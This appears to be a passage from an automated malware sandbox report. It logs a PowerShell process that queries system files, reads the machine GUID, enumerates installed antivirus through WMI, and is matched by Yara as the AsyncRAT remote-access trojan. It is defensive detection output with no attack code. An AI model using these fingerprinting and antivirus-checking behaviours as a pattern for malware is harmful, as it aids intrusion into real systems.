Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 17.2.powershell.exe.289cd920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300f54bf8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce8c4818.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080f54ef0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289cd920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300dcdd88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080dcd9a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce73e268.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
